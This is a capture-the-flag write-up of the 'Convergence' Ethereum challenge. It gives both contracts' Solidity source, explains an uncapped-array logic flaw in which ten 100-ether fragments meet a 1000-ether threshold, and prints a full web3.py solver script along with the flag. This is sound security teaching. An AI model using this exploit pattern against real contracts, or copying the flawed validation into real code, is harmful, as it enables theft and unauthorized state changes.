Writeup Aria
C2C Qualification EnglishBlockchain

Convergence

alt text

description

Author: chovid99

Convergence.... Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-convergence

Attachments

Challenge.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ISetup {
    function chronicles(bytes32) external view returns (bool);
}

struct SoulFragment {
    address vessel;
    uint256 essence;
    bytes resonance;
}

contract Challenge {
    ISetup public setup;

    address public ascended;

    mapping(address => bool) public seekers;
    mapping(address => uint256) public seekerSince;

    mapping(address => uint256) public destinyPower;
    mapping(address => uint256) public soulEssence;
    mapping(address => uint256) public convergencePoints;

    mapping(bytes32 => bool) public consumed;

    uint256 public constant TRANSCENDENCE_ESSENCE = 1000 ether;
    uint256 public constant CONVERGENCE_REQUIREMENT = 100;

    event SeekerRegistered(address indexed seeker, uint256 timestamp);
    event DestinyOffered(address indexed seeker, uint256 power);
    event SoulsHarvested(address indexed seeker, uint256 essence);
    event ConvergenceAchieved(address indexed seeker, uint256 points);
    event Transcended(address indexed ascended);

    constructor(address _setup) {
        setup = ISetup(_setup);
    }

    function registerSeeker() external {
        require(!seekers[msg.sender], "Already a seeker");
        seekers[msg.sender] = true;
        seekerSince[msg.sender] = block.timestamp;
        emit SeekerRegistered(msg.sender, block.timestamp);
    }

    function offerDestiny(bytes calldata manifestation) external {
        require(seekers[msg.sender], "Not a seeker");

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
        require(setup.chronicles(seal), "Manifestation not chronicled");
        require(!consumed[seal], "Chronicle already consumed");
        consumed[seal] = true;

        (
            bytes[] memory threads,
            ,
            uint256[][] memory weights
        ) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));

        uint256 power;
        for (uint i = 0; i < threads.length; i++) {
            power += threads[i].length * 1e15;
        }
        for (uint i = 0; i < weights.length; i++) {
            for (uint j = 0; j < weights[i].length; j++) {
                power += weights[i][j];
            }
        }

        destinyPower[msg.sender] += power;
        emit DestinyOffered(msg.sender, power);
    }

    function harvestSouls(bytes calldata agreement) external {
        require(seekers[msg.sender], "Not a seeker");

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
        require(setup.chronicles(seal), "Agreement not chronicled");
        require(!consumed[seal], "Chronicle already consumed");
        consumed[seal] = true;

        (
            SoulFragment[] memory fragments,
            ,
            ,
            address binder,

        ) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));

        require(binder == msg.sender, "Not the binder");

        uint256 essence;
        for (uint i = 0; i < fragments.length; i++) {
            essence += fragments[i].essence;
        }

        soulEssence[msg.sender] += essence;
        emit SoulsHarvested(msg.sender, essence);
    }

    function achieveConvergence(bytes calldata destinyData, bytes calldata soulData) external {
        require(seekers[msg.sender], "Not a seeker");

        bytes32 destinySeal = keccak256(abi.encodePacked(msg.sender, destinyData));
        bytes32 soulSeal = keccak256(abi.encodePacked(msg.sender, soulData));

        require(setup.chronicles(destinySeal), "Destiny not chronicled");
        require(setup.chronicles(soulSeal), "Soul pact not chronicled");
        require(!consumed[destinySeal], "Destiny already consumed");
        require(!consumed[soulSeal], "Soul pact already consumed");

        consumed[destinySeal] = true;
        consumed[soulSeal] = true;

        (
            bytes[] memory threads,
            bytes[] memory anchors,

        ) = abi.decode(destinyData, (bytes[], bytes[], uint256[][]));

        (
            SoulFragment[] memory fragments,
            ,
            ,
            address binder,

        ) = abi.decode(soulData, (SoulFragment[], bytes32, uint32, address, address));

        require(binder == msg.sender, "Not the binder");

        uint256 points = threads.length * anchors.length * fragments.length;
        convergencePoints[msg.sender] += points;

        emit ConvergenceAchieved(msg.sender, points);
    }

    function transcend(bytes calldata truth) external {
        require(seekers[msg.sender], "Not a seeker");
        require(ascended == address(0), "Another has already ascended");

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, truth));
        require(setup.chronicles(seal), "Truth not chronicled");

        (
            SoulFragment[] memory fragments,
            ,
            ,
            address invoker,
            address witness
        ) = abi.decode(truth, (SoulFragment[], bytes32, uint32, address, address));

        require(invoker == msg.sender, "You are not the invoker");

        uint256 totalEssence;
        for (uint i = 0; i < fragments.length; i++) {
            totalEssence += fragments[i].essence;
        }

        require(totalEssence >= TRANSCENDENCE_ESSENCE, "Insufficient essence in truth");
        require(witness == msg.sender, "The witness must be yourself");

        ascended = msg.sender;
        emit Transcended(msg.sender);
    }

    function getPowerLevels(address seeker) external view returns (
        uint256 destiny,
        uint256 soul,
        uint256 convergence
    ) {
        return (destinyPower[seeker], soulEssence[seeker], convergencePoints[seeker]);
    }
}

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Challenge.sol";

contract Setup {
    Challenge public challenge;
    mapping(bytes32 => bool) public chronicles;

    constructor() {
        challenge = new Challenge(address(this));
    }

    function sealDestiny(bytes calldata manifestation) external {
        (
            bytes[] memory threads,
            bytes[] memory anchors,
            uint256[][] memory weights
        ) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));

        require(threads.length >= 1, "Destiny requires threads");
        require(anchors.length >= 1, "Destiny requires anchors");
        require(weights.length >= 1, "Destiny requires weights");

        for (uint i = 0; i < threads.length; i++) {
            require(threads[i].length > 0, "Empty thread detected");
        }

        for (uint i = 0; i < anchors.length; i++) {
            require(anchors[i].length > 0, "Empty anchor detected");
        }

        for (uint i = 0; i < weights.length; i++) {
            require(weights[i].length > 0, "Empty weight array detected");
        }

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
        require(!chronicles[seal], "Already chronicled");
        chronicles[seal] = true;
    }

    function bindPact(bytes calldata agreement) external {
        (
            SoulFragment[] memory fragments,
            ,
            ,
            address binder,
            address witness
        ) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));

        require(fragments.length >= 1, "Pact requires soul fragments");
        require(binder != address(0), "Invalid binder");
        require(witness != address(0), "Invalid witness");

        for (uint i = 0; i < fragments.length; i++) {
            require(fragments[i].vessel != address(0), "Invalid vessel in fragment");
            require(fragments[i].essence <= 100 ether, "Essence too powerful for pact");
        }

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
        require(!chronicles[seal], "Already chronicled");
        chronicles[seal] = true;
    }

    function isSolved() external view returns (bool) {
        return challenge.ascended() != address(0);
    }
}

Overview

This challenge is an Ethereum smart contract blockchain challenge that requires the attacker to reach the ascended state by creating a valid "truth".

There are two main contracts:

  • Setup.sol
  • Challenge.sol

The main objective of this challenge is to make the Challenge contract set:

ascended = msg.sender;

However, to reach this state, several strict validations must be satisfied.

The core concept of this challenge uses a system involving:

  • SoulFragments
  • Pact binding
  • Chronicle verification
  • Essence accumulation

Conceptually, we must:

  1. Create an agreement containing SoulFragments
  2. Register it via Setup.bindPact()
  3. Use the same agreement to call Challenge.transcend()
  4. If all validations pass, our address will become ascended

The challenge provides two main smart contracts:

  • Setup.sol
  • Challenge.sol

Here, I used AI to analyze the source code of both contracts.

Both contracts use a chronicles system, which is a mapping of hashes from sealed data.

Example from Setup.bindPact():

bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
chronicles[seal] = true;

This means every valid agreement will be recorded based on the hash of the sender and the agreement data.

Important fragment validation:

require(fragments[i].essence <= 100 ether);

This limits the maximum essence per fragment.

In Challenge.sol, the most important function is:

function transcend(bytes calldata truth) external

Main validation:

require(setup.chronicles(seal));
require(totalEssence >= TRANSCENDENCE_ESSENCE);

Where:

TRANSCENDENCE_ESSENCE = 1000 ether

If all validations pass:

ascended = msg.sender;

AI-assisted output

1771297080143 1771297461977 1771297457670

Smart Contract Analysis

Setup.sol

Important function:

function bindPact(bytes calldata agreement) external

This function:

  • Decodes the agreement into SoulFragments
  • Validates each fragment
  • If valid, stores the chronicle
chronicles[keccak256(abi.encodePacked(msg.sender, agreement))] = true;

This means the contract records that the sender has created a valid pact.

Important validations:

require(fragment.vessel != address(0));
require(fragment.essence <= 100 ether);
require(binder != address(0));
require(witness != address(0));

The most important limitation:

essence maximum per fragment = 100 ether

Challenge.sol

Main exploit function:

function transcend(bytes calldata truth) external

Validations performed:

1. Chronicle must already be registered

require(
    setup.chronicles(
        keccak256(abi.encodePacked(msg.sender, truth))
    )
);

This means the truth MUST be exactly identical to the agreement previously registered via bindPact.

Even a slight difference will cause failure.

2. Invoker and Witness must match msg.sender

require(invoker == msg.sender);
require(witness == msg.sender);

This means we must set both fields to the attacker address.

3. Total essence must be ≥ 1000 ether

require(totalEssence >= 1000 ether);

This is the main requirement for ascension.


Root Cause Vulnerability

There is a limitation:

essence per fragment ≤ 100 ether

However, the total required is:

≥ 1000 ether

This means we cannot use only one fragment.

However, the contract DOES NOT limit the number of fragments.

Therefore, we can use:

10 fragments

Each containing:

100 ether

Total:

10 × 100 ether = 1000 ether

The validation will pass.

This is a logic flaw, not an overflow or cryptographic bug.


Truth Structure

ABI encode format:

(
    SoulFragment[] fragments,
    bytes32 seal,
    uint32 epoch,
    address invoker,
    address witness
)

Fragment structure:

struct SoulFragment {
    address vessel;
    uint essence;
    bytes resonance;
}

We must create:

  • fragments = array of 10 fragments
  • vessel = attacker address
  • essence = 100 ether
  • resonance = empty
  • invoker = attacker
  • witness = attacker

Exploitation Steps

Step 0 — Access RPC Node


Step 1 — Register as Seeker

Call:

challenge.registerSeeker();

This registers our address as a seeker.


Step 2 — Create SoulFragments

Create an array containing 10 fragments:

fragment = {

vessel: attacker address
essence: 100 ether
resonance: 0x

}

Total essence:

1000 ether

Step 3 — Encode Truth

Encode using ABI encode:

truth = abi.encode(
    fragments,
    bytes32(0),
    uint32(0),
    attacker,
    attacker
);

Step 4 — Bind Pact

Call:

setup.bindPact(truth);

This stores:

chronicles[keccak256(msg.sender, truth)] = true;

Step 5 — Transcend

Use the same truth:

challenge.transcend(truth);

All validations will pass.

The contract will execute:

ascended = msg.sender;

Challenge solved.

Exploit Script (solver.py)

Here is the exploit script used to solve the challenge using solver.py:

from web3 import Web3
from eth_abi import encode

RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

setup_abi = [
    {"inputs":[],"name":"challenge","outputs":[{"type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[{"name":"agreement","type":"bytes"}],"name":"bindPact","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[],"name":"isSolved","outputs":[{"type":"bool"}],"stateMutability":"view","type":"function"}
]

challenge_abi = [
    {"inputs":[],"name":"registerSeeker","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"name":"truth","type":"bytes"}],"name":"transcend","outputs":[],"stateMutability":"nonpayable","type":"function"}
]

setup = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
challenge_addr = setup.functions.challenge().call()
challenge = w3.eth.contract(address=challenge_addr, abi=challenge_abi)

def send_tx(tx):
    transaction = tx.build_transaction({
        "from": account.address,
        "nonce": w3.eth.get_transaction_count(account.address),
        "gasPrice": w3.eth.gas_price
    })

    signed = w3.eth.account.sign_transaction(transaction, PRIVKEY)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)

    return w3.eth.wait_for_transaction_receipt(tx_hash)

# Step 1 — Register seeker
print("[*] Registering seeker...")
send_tx(challenge.functions.registerSeeker())

# Step 2 — Buat 10 fragments
print("[*] Preparing fragments...")
fragments = []
for _ in range(10):
    fragments.append((account.address, w3.to_wei(100, "ether"), b""))

# Step 3 — Encode truth
print("[*] Encoding truth...")
truth = encode(
    ['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address'],
    [fragments, b'\x00'*32, 0, account.address, account.address]
)

# Step 4 — Bind pact
print("[*] Binding pact...")
send_tx(setup.functions.bindPact(truth))

# Step 5 — Transcend
print("[*] Transcending...")
send_tx(challenge.functions.transcend(truth))

# Step 6 — Check solve
if setup.functions.isSolved().call():
    print("Challenge solved")

python3 solver.py

1771207086665

This script does the following:

  1. Register as a seeker
  2. Create 10 fragments
  3. Encode truth
  4. Bind pact
  5. Transcend
  6. Verify solve

Why the exploit works

Because:

  • There is no limit to the number of fragments
  • There is only a limit per fragment
  • The Chronicle only verifies the hash agreement
  • We can reuse the same agreement

This way, we can meet the total essence requirement.

After that, we can get the flag in the blockchain launcher. 1771207240166

Flag

C2C{the_convergence_chall_is_basically_bibibibi}

On this page

Convergence